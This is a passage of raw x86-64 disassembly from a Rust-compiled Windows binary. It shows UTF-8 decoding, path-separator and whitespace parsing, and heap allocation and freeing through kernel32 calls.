je 0x140020ec4
mov qword [0x1400f0220], rax
mov r8d, 1
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140020ec4
mov rsi, rax
mov byte [rax], 0x2e
mov ecx, 1
cmp rbx, r14
mov r12, r14
cmovb r12, rbx
mov qword [rsp + 0x40], 8
lea rax, [rsp + 0x48]
movups xmmword [rax], xmm6
mov rax, r14
test r12, r12
je 0x14002013d
cmp rbx, r14
jae 0x140020137
cmp byte [rdi + r12], 0xbf
jle 0x140020f16
mov rax, r14
sub rax, r12
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x60], rsi
add r12, rdi
mov qword [rsp + 0xb8], rax
lea rsi, [r12 + rax]
mov r13d, 8
xor edi, edi
xor r10d, r10d
xor r14d, r14d
mov rbx, r12
jmp 0x1400201f4
mov r10, rbp
mov r11d, dword [rsp + 0x68]
imul rax, rdi, 0x38
mov rcx, qword [rsp + 0x70]
mov qword [r13 + rax], rcx
mov qword [r13 + rax + 8], r8
mov qword [r13 + rax + 0x10], r9
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [r13 + rax + 0x18], xmm0
mov rcx, qword [rsp + 0xd0]
mov qword [r13 + rax + 0x28], rcx
mov byte [r13 + rax + 0x30], r12b
mov ecx, dword [rsp + 0x90]
mov edx, dword [rsp + 0x93]
mov dword [r13 + rax + 0x31], ecx
mov dword [r13 + rax + 0x34], edx
inc rdi
mov qword [rsp + 0x50], rdi
test r11b, r11b
lea rbp, [rsp + 0x100]
mov r12, r15
je 0x1400203c0
mov rax, r10
nop word [rax + rax]
mov r8, r14
cmp rbx, rsi
je 0x1400202e0
movzx edx, byte [rbx]
movzx ecx, dl
test cl, cl
js 0x140020230
inc rbx
lea r14, [r8 + 1]
jmp 0x1400202b4
mov r9d, ecx
and r9d, 0x1f
movzx r11d, byte [rbx + 1]
and r11d, 0x3f
cmp cl, 0xdf
jbe 0x140020281
movzx r10d, byte [rbx + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp dl, 0xf0
jb 0x140020291
lea rdx, [rbx + 4]
movzx ecx, byte [rbx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and ecx, 0x3f
or ecx, r10d
or ecx, r9d
cmp ecx, 0x110000
jne 0x14002029f
jmp 0x1400202e3
lea rdx, [rbx + 2]
shl r9d, 6
or r9d, r11d
mov ecx, r9d
jmp 0x14002029f
lea rdx, [rbx + 3]
shl r9d, 0xc
or r10d, r9d
mov ecx, r10d
mov r14, rdx
sub r14, rbx
add r14, r8
mov rbx, rdx
cmp ecx, 0x7f
ja 0x140020200
cmp cl, 0x2f
je 0x1400202c5
movzx ecx, cl
cmp ecx, 0x5c
jne 0x140020200
mov rcx, rbp
mov dl, 1
mov dword [rsp + 0x68], edx
mov rbp, r14
jmp 0x14002030b
mov rdx, rsi
mov r9, qword [rsp + 0xb8]
cmp r9, rax
je 0x1400203c0
mov rcx, rbp
mov dword [rsp + 0x68], 0
mov rbx, rdx
mov r14, r8
mov rbp, rax
mov r8, r9
mov r15, r12
lea rdx, [r12 + rax]
sub r8, rax
call fcn.140048bd0
movzx r12d, byte [rsp + 0x130]
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x70], rax
mov r8, qword [rsp + 0x108]
mov r9, qword [rsp + 0x110]
cmp r12b, 2
je 0x140020480
lea rcx, [rsp + 0x119]
mov rax, qword [rcx + 0xf]
mov qword [rsp + 0xd0], rax
movups xmm0, xmmword [rcx - 1]
movaps xmmword [rsp + 0xc0], xmm0
mov eax, dword [rcx + 0x18]
mov ecx, dword [rcx + 0x1b]
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x93], ecx
cmp rdi, qword [rsp + 0x48]
jne 0x140020180
lea rcx, [rsp + 0x40]
mov rdx, rdi
mov rdi, r8
mov r13, r9
call fcn.1400494f0
mov r9, r13
mov r8, rdi
mov r13, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x50]
jmp 0x140020180
mov rsi, qword [rsp + 0x30]
cmp qword [rsp + 0x1f0], rsi
mov r12, qword [rsp + 0x80]
lea r13, [rsp + 0x178]
lea r14, [rsp + 0x140]
mov r15d, 0
jne 0x140020437
cmp rdi, qword [rsp + 0x48]
jne 0x140020406
lea rcx, [rsp + 0x40]
mov rdx, rdi
call fcn.1400494f0
mov rdi, qword [rsp + 0x50]
mov rax, qword [rsp + 0x40]
imul rcx, rdi, 0x38
mov qword [rax + rcx], 1
movups xmmword [rax + rcx + 8], xmm6
mov qword [rax + rcx + 0x18], 8
movups xmmword [rax + rcx + 0x20], xmm6
mov byte [rax + rcx + 0x30], 0
inc rdi
mov qword [rsp + 0x50], rdi
test rsi, rsi
je 0x140020656
mov r8, qword [rsp + 0x38]
movzx eax, byte [r8 + rsi - 1]
test al, al
lea rdi, [rsp + 0x1f8]
js 0x140020662
movzx eax, al
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete sil
or sil, cl
jmp 0x1400206c0
mov r15, r9
mov qword [rsp + 0x68], r8
mov rsi, qword [rsp + 0x40]
test rdi, rdi
mov r12, qword [rsp + 0x80]
lea r13, [rsp + 0x178]
mov r9d, dword [rsp + 0x2c]
je 0x140020580
xor r14d, r14d
jmp 0x1400204bc
inc r14
cmp r14, rdi
je 0x140020580
imul r12, r14, 0x38
cmp qword [rsi + r12 + 8], 0
je 0x1400204e3
lea rax, [rsi + r12]
mov r8, qword [rax]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9d, dword [rsp + 0x2c]
mov rbp, qword [rsi + r12 + 0x18]
mov r13, qword [rsi + r12 + 0x28]
test r13, r13
je 0x140020540
lea rbx, [rbp + 0x10]
jmp 0x140020509
add rbx, 0x20
dec r13
je 0x140020540
mov eax, dword [rbx - 0x10]
cmp rax, 4
jb 0x140020500
cmp eax, 4
cmp qword [rbx], 0
je 0x140020500
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9d, dword [rsp + 0x2c]
jmp 0x140020500
cmp qword [rsi + r12 + 0x20], 0
mov r12, qword [rsp + 0x80]
lea r13, [rsp + 0x178]
je 0x1400204b0
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9d, dword [rsp + 0x2c]
jmp 0x1400204b0
cmp qword [rsp + 0x48], 0
je 0x14002059f
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9d, dword [rsp + 0x2c]
cmp qword [rsp + 0x78], 0
lea r14, [rsp + 0x140]
lea rdi, [rsp + 0x1f8]
je 0x1400205d0
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x60]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9d, dword [rsp + 0x2c]
mov sil, 2
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], r15
xor r15d, r15d
lea rbp, [rsp + 0x100]
cmp qword [rsp + 0x1d8], 0
je 0x140020615
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x1c8]
mov ebx, r9d
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9d, ebx
cmp qword [rsp + 0xb0], 0
je 0x14002063d
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x1c0]
mov ebx, r9d
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9d, ebx
cmp sil, 2
mov r8, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x68]
jne 0x140020750
jmp 0x140020dcb
xor esi, esi
lea rdi, [rsp + 0x1f8]
jmp 0x1400206c0
movzx ecx, byte [r8 + rsi - 2]
cmp cl, 0xc0
jge 0x14002068e
movzx edx, byte [r8 + rsi - 3]
cmp dl, 0xc0
jge 0x140020693
movzx r8d, byte [r8 + rsi - 4]
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x140020696
and ecx, 0x1f
jmp 0x14002069e
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx eax, al
or eax, ecx
cmp eax, 0x110000
je 0x1400206b8
cmp eax, 0x7f
jbe 0x14002045e
xor esi, esi
nop word [rax + rax]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x1d0], rax
lea rax, [rsp + 0x48]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x260], xmm0
mov eax, dword [rsp + 0x1e1]
mov ecx, dword [rsp + 0x1e4]
mov dword [rsp + 0x8b], ecx
mov dword [rsp + 0x88], eax
movaps xmmword [rsp + 0x250], xmm6
cmp qword [rsp + 0x1d8], 0
je 0x140020723
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x1c8]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xb0], 0
je 0x140020745
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x1c0]
call qword [sym.imp.kernel32.dll_HeapFree]
xor r9d, r9d
mov r8, qword [rsp + 0x78]
mov rbx, r8
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x8b]
lea rdx, [rsp + 0x211]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
movaps xmm0, xmmword [rsp + 0x260]
movups xmmword [rdx + 0xf], xmm0
movaps xmm0, xmmword [rsp + 0x250]
movups xmmword [rdx + 0x27], xmm0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x78], r8
mov qword [rsp + 0x208], r8
mov dword [rsp + 0x2c], r9d
mov byte [rsp + 0x210], r9b
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x230], 8
mov byte [rsp + 0x24a], 0
mov word [rsp + 0x248], 1
mov byte [rsp + 0x24b], sil
jmp 0x140020801
movzx ebx, byte [rsp + 0x158]
cmp bl, 2
jne 0x1400208b0
mov rcx, r14
mov rdx, rdi
call fcn.1400499a0
movzx eax, byte [rsp + 0x160]
cmp eax, 2
je 0x1400207f0
cmp eax, 3
je 0x14001fb90
cmp qword [rsp + 0x150], 0
je 0x140020844
mov r8, qword [rsp + 0x148]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x140]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x140020801
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140020887
cmp qword [rbx + 0x10], 0x11
jb 0x140020875
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
dec rsi
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rdi, [rsp + 0x1f8]
jmp 0x140020801
mov rdi, qword [rsp + 0x140]
mov r14, qword [rsp + 0x148]
mov r15, qword [rsp + 0x150]
lea rcx, [rsp + 0x159]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x103], ecx
mov dword [rsp + 0x100], eax
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
jne 0x14002090c
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140020ed5
mov qword [0x1400f0220], rax
mov r8d, 0x80
mov rcx, rax
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140020ed5
mov rsi, rax
mov eax, dword [rsp + 0x100]
mov ecx, dword [rsp + 0x103]
mov dword [rsi + 0x1c], ecx
mov dword [rsi + 0x19], eax
mov qword [rsi], rdi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r15
mov byte [rsi + 0x18], bl
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0xc8], 4
mov qword [rsp + 0xd0], 1
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x190], rax
movups xmm0, xmmword [rsp + 0x238]
movaps xmmword [rsp + 0x180], xmm0
movups xmm0, xmmword [rsp + 0x1f8]
movups xmm1, xmmword [rsp + 0x208]
movups xmm2, xmmword [rsp + 0x218]
movups xmm3, xmmword [rsp + 0x228]
movaps xmmword [rsp + 0x170], xmm3
movaps xmmword [rsp + 0x160], xmm2
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov edi, 1
mov r13d, 0x20
jmp 0x140020a07
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbx
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x140]
jmp 0x140020a31
movzx ebx, byte [rsp + 0x118]
cmp bl, 2
jne 0x140020ab3
mov rcx, rbp
mov rdx, r14
call fcn.1400499a0
movzx eax, byte [rsp + 0x120]
cmp eax, 2
je 0x140020a20
cmp eax, 3
je 0x140020b50
cmp qword [rsp + 0x110], 0
je 0x140020a74
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x100]
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x140020a31
mov r14, qword [rbx - 1]
mov r15, qword [rbx + 7]
mov rcx, r14
call qword [r15]
cmp qword [r15 + 8], 0
je 0x1400209f2
cmp qword [r15 + 0x10], 0x11
jb 0x1400209e0
mov r14, qword [r14 - 8]
jmp 0x1400209e0
mov r14, qword [rsp + 0x100]
mov r15, qword [rsp + 0x108]
mov r12, qword [rsp + 0x110]
lea rcx, [rsp + 0x119]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x43], ecx
mov dword [rsp + 0x40], eax
cmp rdi, qword [rsp + 0xc8]
je 0x140020b27
mov rax, rdi
shl rax, 5
mov qword [rsi + rax], r14
mov qword [rsi + rax + 8], r15
mov qword [rsi + rax + 0x10], r12
mov byte [rsi + rax + 0x18], bl
mov ecx, dword [rsp + 0x40]
mov edx, dword [rsp + 0x43]
mov dword [rsi + rax + 0x19], ecx
mov dword [rsi + rax + 0x1c], edx
inc rdi
mov qword [rsp + 0xd0], rdi
add r13, 0x20
jmp 0x140020a07
mov r8d, 1
lea rcx, [rsp + 0xc0]
mov rdx, rdi
call fcn.1400a8a50
mov rsi, qword [rsp + 0xc0]
jmp 0x140020aea
mov qword [rsp + 0x30], r13
mov rcx, r14
call fcn.140008340
mov r13, qword [rsp + 0xc0]
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xb8], rax
mov r15, rdi
shl r15, 5
add r15, r13
mov qword [rsp + 0x70], r13
test rdi, rdi
je 0x140020cf0
mov rax, qword [rsp + 0x70]
lea r13, [rax + 0x20]
jmp 0x140020bb9
add r13, 0x20
add rbp, 0x20
cmp rbp, r15
lea rbp, [rsp + 0x100]
je 0x140020d40
cmp byte [r13 - 8], 2
je 0x140020cf0
lea rbp, [r13 - 0x20]
mov rdi, qword [r13 - 0x20]
mov r12, qword [r13 - 0x18]
mov r8, qword [rbp + 0x10]
mov rcx, r14
mov rdx, rdi
call fcn.14003f1f0
cmp qword [rsp + 0x140], 0
je 0x140020c00
test r12, r12
jne 0x140020ccd
jmp 0x140020ba0
mov r14, qword [rsp + 0x148]
mov rbx, qword [rsp + 0x150]
test rbx, rbx
je 0x140020c5f
js 0x140020e93
movzx eax, byte [0x1400f02c0]
mov rax, qword [0x1400f0220]
test rax, rax
jne 0x140020c44
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140020e84
mov qword [0x1400f0220], rax
mov rcx, rax
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x140020c64
jmp 0x140020e84
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rsp + 0xa8]
cmp rdx, qword [rsp + 0xa0]
jne 0x140020c99
lea rcx, [rsp + 0x98]
call fcn.14004db00
mov rdx, qword [rsp + 0xa8]
lea r14, [rsp + 0x140]
mov rax, qword [rsp + 0x98]
mov rcx, rdx
shl rcx, 4
mov qword [rax + rcx], rsi
mov qword [rax + rcx + 8], rbx
inc rdx
mov qword [rsp + 0xa8], rdx
test r12, r12
je 0x140020ba0
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140020ba0
cmp r15, r13
je 0x140020d40
mov rsi, qword [rsp + 0x70]
sub rsi, r13
add rsi, qword [rsp + 0x30]
shr rsi, 5
add r13, 8
jmp 0x140020d19
add r13, 0x20
dec rsi
je 0x140020d40
cmp qword [r13], 0
je 0x140020d10
mov r8, qword [r13 - 8]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140020d10
cmp qword [rsp + 0xb8], 0
mov r12, qword [rsp + 0x80]
lea r13, [rsp + 0x178]
mov r15d, 0
je 0x14001fb98
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rsp + 0x70]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14001fb98
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x1b8]
mov qword [rcx + 0x10], rax
mov rax, qword [rsp + 0x98]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0]
mov qword [rcx + 8], rax
jmp 0x140020e68
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x60], rax
mov rbx, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
mov rdi, r8
movzx eax, byte [0x1400f02c0]
mov rcx, qword [0x1400f0220]
test rcx, rcx
je 0x140020de8
mov rsi, qword [rsp + 0x60]
jmp 0x140020e06
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
mov rsi, qword [rsp + 0x60]
je 0x140020f35
mov rcx, rax
mov qword [0x1400f0220], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
test rax, rax
je 0x140020f35
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov rcx, qword [rsp + 0x1b8]
mov qword [rcx + 8], rax
lea rax, [0x1400b3848]
mov qword [rcx + 0x10], rax
mov qword [rcx], 0
cmp qword [rsp + 0xa0], 0
je 0x140020e68
mov r8, qword [rsp + 0x98]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x270]
add rsp, 0x288
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 1
mov rdx, rbx
call fcn.1400a42a0
ud2
call fcn.14003bdd0
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400d81e0]
jmp 0x140020eb8
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, [0x1400d81f8]
mov edx, 0x2b
call fcn.1400a4530
ud2
mov ecx, 1
mov edx, 1
call fcn.1400a42a0
ud2
mov ecx, 8
mov edx, 0x80
call fcn.1400a42a0
ud2
lea rax, [0x1400d8210]
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, qword [rsp + 0x30]
xor r8d, r8d
mov r9, rbx
call fcn.1400a4aa0
ud2
mov ecx, 1
mov rdx, r14
call fcn.1400a42a0
ud2
lea rax, [0x1400d8228]
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, r14
mov r8, r12
mov r9, r14
call fcn.1400a4aa0
ud2
mov ecx, 8
mov edx, 0x18
call fcn.1400a42a0
ud2
mov qword [rsp + 0x80], rax
lea rax, [0x140045be0]
mov qword [rsp + 0x88], rax
lea rax, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_src_slice_sort.rs
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x68], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x48]
call fcn.14003e1b0
test al, al
jne case.0x140024c87.0
mov rsi, qword [rsp + 0x28]
mov rbx, rdi
test r13, r13
mov r15, qword [rsp + 0xb8]
je 0x140022af0
lea rcx, [rsp + 0xc0]
mov rdx, r15
call fcn.14003cbc0
movzx r12d, byte [rsp + 0xc0]
cmp r12b, 7
je case.default.0x140022ae5
dec r13
add r15, 0x18
mov qword [rsp + 0xb8], r15
movzx eax, byte [rsp + 0xc1]
movzx r14d, byte [rsp + 0xc2]
mov r15, qword [rsp + 0xc8]
mov rbp, qword [rsp + 0xd0]
movzx ecx, r12b
lea rdx, [0x1400e69f8]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
mov qword [rsp + 0x28], rsi
mov rdi, rbx
jmp rcx
test rbx, rbx
je case.default.0x140022ae5
movzx edx, byte [rsi]
movzx ecx, dl
test cl, cl
jns 0x140022b50
mov eax, ecx
and eax, 0x1f
movzx r8d, byte [rsi + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x140022b41
movzx ecx, byte [rsi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140022b4b
movzx edx, byte [rsi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
mov ecx, edx
jmp 0x140022b50
shl eax, 6
or eax, r8d
mov ecx, eax
jmp 0x140022b50
shl eax, 0xc
or ecx, eax
lea rax, [rsi + rbx]
cmp ecx, 0x20
je 0x140022b7a
cmp ecx, 0x25
je 0x140022cef
cmp ecx, 0x110000
je case.default.0x140022ae5
lea edx, [rcx - 9]
cmp edx, 5
jae 0x140022da8
xor r9d, r9d
mov rdx, rsi
jmp 0x140022baf
movzx r8d, r8b
lea r10, [0x1400e30d7]
test byte [r8 + r10], 1
je 0x140022cd2
nop dword [rax + rax]
sub r9, rcx
add r9, rdx
cmp rdx, rax
je 0x140022ccf
mov rcx, rdx
movzx edx, byte [rdx]
movzx r8d, dl
test r8b, r8b
js 0x140022bd0
lea rdx, [rcx + 1]
jmp 0x140022c50
mov r10d, r8d
and r10d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r8b, 0xdf
jbe 0x140022c26
movzx r11d, byte [rcx + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp dl, 0xf0
jb 0x140022c36
movzx r8d, byte [rcx + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r8d, 0x3f
or r8d, r11d
or r8d, r10d
cmp r8d, 0x110000
je 0x140022ccf
lea rdx, [rcx + 4]
jmp 0x140022c50
lea rdx, [rcx + 2]
shl r10d, 6
or r10d, edi
mov r8d, r10d
jmp 0x140022c50
lea rdx, [rcx + 3]
shl r10d, 0xc
or r11d, r10d
mov r8d, r11d
nop word cs:[rax + rax]
lea r10d, [r8 - 9]
cmp r10d, 5
jb 0x140022ba0
cmp r8d, 0x20
je 0x140022ba0
cmp r8d, 0x80
jb 0x140022cd2
mov r10d, r8d
shr r10d, 8
cmp r10d, 0x1f
jg 0x140022c9c
test r10d, r10d
je 0x140022b82
cmp r10d, 0x16
jne 0x140022cd2
cmp r8d, 0x1680
je 0x140022ba0
jmp 0x140022cd2
cmp r10d, 0x20
je 0x140022cb7
cmp r10d, 0x30
jne 0x140022cd2
cmp r8d, 0x3000
je 0x140022ba0
jmp 0x140022cd2
movzx r8d, r8b
lea r10, [0x1400e30d7]
test byte [r8 + r10], 2
jne 0x140022ba0
jmp 0x140022cd2
mov r9, rbx
test r9, r9
je 0x140025d3f
mov rdi, rbx
sub rdi, r9
jbe 0x140022d26
cmp byte [rsi + r9], 0xbf
jg 0x140022d2c
jmp 0x140025d59
lea r12, [rsi + 1]
mov cl, 6
cmp rbx, 2
jb 0x140022d9e
movzx edx, byte [r12]
cmp dl, 0xbf
jle 0x140025d75
movzx eax, dl
dec rbx
test dl, dl
js 0x140022de0
mov r8d, 1
jmp 0x1400230d8
jne 0x140025d59
mov al, 2
movzx ecx, byte [rsp + 0x84]
lea rdx, [rsp + 0xc3]
mov byte [rdx + 4], cl
mov ecx, dword [rsp + 0x80]
mov dword [rdx], ecx
mov byte [rsp + 0xc0], al
mov byte [rsp + 0xc1], al
mov byte [rsp + 0xc2], al
mov qword [rsp + 0xc8], rsi
add rsi, r9
mov qword [rsp + 0xd0], r9
mov r15, qword [rsp + 0xc8]
mov rbp, qword [rsp + 0xd0]
movzx r12d, al
lea rax, [0x1400e69f8]
movsxd rcx, dword [rax + r12*4]
add rcx, rax
mov qword [rsp + 0x28], rsi
xor r13d, r13d
jmp rcx
xor r13d, r13d
xor ebx, ebx
jmp 0x140023295
cmp ecx, 0x80
jb 0x140022e80
mov edx, ecx
shr edx, 8
cmp edx, 0x1f
jg 0x140022e33
test edx, edx
je 0x140022e56
cmp edx, 0x16
jne 0x140022e80
cmp ecx, 0x1680
je 0x140022b7a
jmp 0x140022e80
and eax, 0x1f
movzx r9d, byte [rsi + 2]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x140022e4b
movzx r8d, byte [rsi + 3]
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
cmp dl, 0xf0
jb 0x1400230a6
movzx edx, byte [rsi + 4]
and eax, 7
shl eax, 0x12
shl r8d, 6
and edx, 0x3f
or edx, r8d
or edx, eax
mov eax, edx
cmp edx, 0x110000
jne 0x1400230af
jmp 0x140023292
cmp edx, 0x20
je 0x140022e6c
cmp edx, 0x30
jne 0x140022e80
cmp ecx, 0x3000
je 0x140022b7a
jmp 0x140022e80
shl eax, 6
or eax, r9d
jmp 0x1400230af
movzx ecx, cl
lea rdx, [0x1400e30d7]
test byte [rcx + rdx], 1
jne 0x140022b7a
jmp 0x140022e80
movzx ecx, cl
lea rdx, [0x1400e30d7]
test byte [rcx + rdx], 2
jne 0x140022b7a
xor r9d, r9d
mov rdx, rsi
movabs r14, 0x100003e00
jmp 0x140022eb9
cmp r8d, 0x25
je 0x140023012
sub r9, rcx
add r9, rdx
cmp rdx, rax
je 0x14002300f
mov rcx, rdx
movzx edx, byte [rdx]
movzx r8d, dl
test r8b, r8b
js 0x140022ee0
lea rdx, [rcx + 1]
cmp r8d, 0x20
jbe 0x140022f70
jmp 0x140022f7d
mov r10d, r8d
and r10d, 0x1f
movzx edi, byte [rcx + 1]
and edi, 0x3f
cmp r8b, 0xdf
jbe 0x140022f3c
movzx r11d, byte [rcx + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp dl, 0xf0
jb 0x140022f52
movzx r8d, byte [rcx + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r8d, 0x3f
or r8d, r11d
or r8d, r10d
cmp r8d, 0x110000
je 0x14002300f
lea rdx, [rcx + 4]
cmp r8d, 0x20
jbe 0x140022f70
jmp 0x140022f7d
lea rdx, [rcx + 2]
shl r10d, 6
or r10d, edi
mov r8d, r10d
cmp r8d, 0x20
jbe 0x140022f70
jmp 0x140022f7d
lea rdx, [rcx + 3]
shl r10d, 0xc
or r11d, r10d
mov r8d, r11d
cmp r8d, 0x20
ja 0x140022f7d
nop word cs:[rax + rax]
mov r10d, r8d
bt r14, r10
jb 0x140023012
cmp r8d, 0x80
jb 0x140022ea0
mov r10d, r8d
shr r10d, 8
cmp r10d, 0x1f
jg 0x140022fc0
test r10d, r10d
je 0x140022fdf
cmp r10d, 0x16
jne 0x140022eaa
cmp r8d, 0x1680
jne 0x140022eaa
jmp 0x140023012
cmp r10d, 0x20
je 0x140022ff7
cmp r10d, 0x30
jne 0x140022eaa
cmp r8d, 0x3000
jne 0x140022eaa
jmp 0x140023012
movzx r8d, r8b
lea r10, [0x1400e30d7]
test byte [r8 + r10], 1
je 0x140022eaa
jmp 0x140023012
movzx r8d, r8b
lea r10, [0x1400e30d7]
test byte [r8 + r10], 2
je 0x140022eaa
jmp 0x140023012
mov r9, rbx
test r9, r9
je 0x140025da8
mov rdi, rbx
sub rdi, r9
jbe 0x14002302f
cmp byte [rsi + r9], 0xbf
jg 0x140023035
jmp 0x140025db8
jne 0x140025db8
xor r13d, r13d
movzx eax, byte [rsp + 0x84]
lea rcx, [rsp + 0xc3]
mov byte [rcx + 4], al
mov eax, dword [rsp + 0x80]
mov dword [rcx], eax
mov byte [rsp + 0xc0], r13b
mov byte [rsp + 0xc1], al
mov byte [rsp + 0xc2], al
mov qword [rsp + 0xc8], rsi
add rsi, r9
mov qword [rsp + 0xd0], r9
mov r15, qword [rsp + 0xc8]
mov rbp, qword [rsp + 0xd0]
movzx r12d, r13b
lea rax, [0x1400e69f8]
movsxd rcx, dword [rax + r12*4]
add rcx, rax
mov qword [rsp + 0x28], rsi
jmp rcx
shl eax, 0xc
or r8d, eax
mov eax, r8d
mov r8d, 1
cmp eax, 0x80
jb 0x1400230d8
mov r8d, 2
cmp eax, 0x800
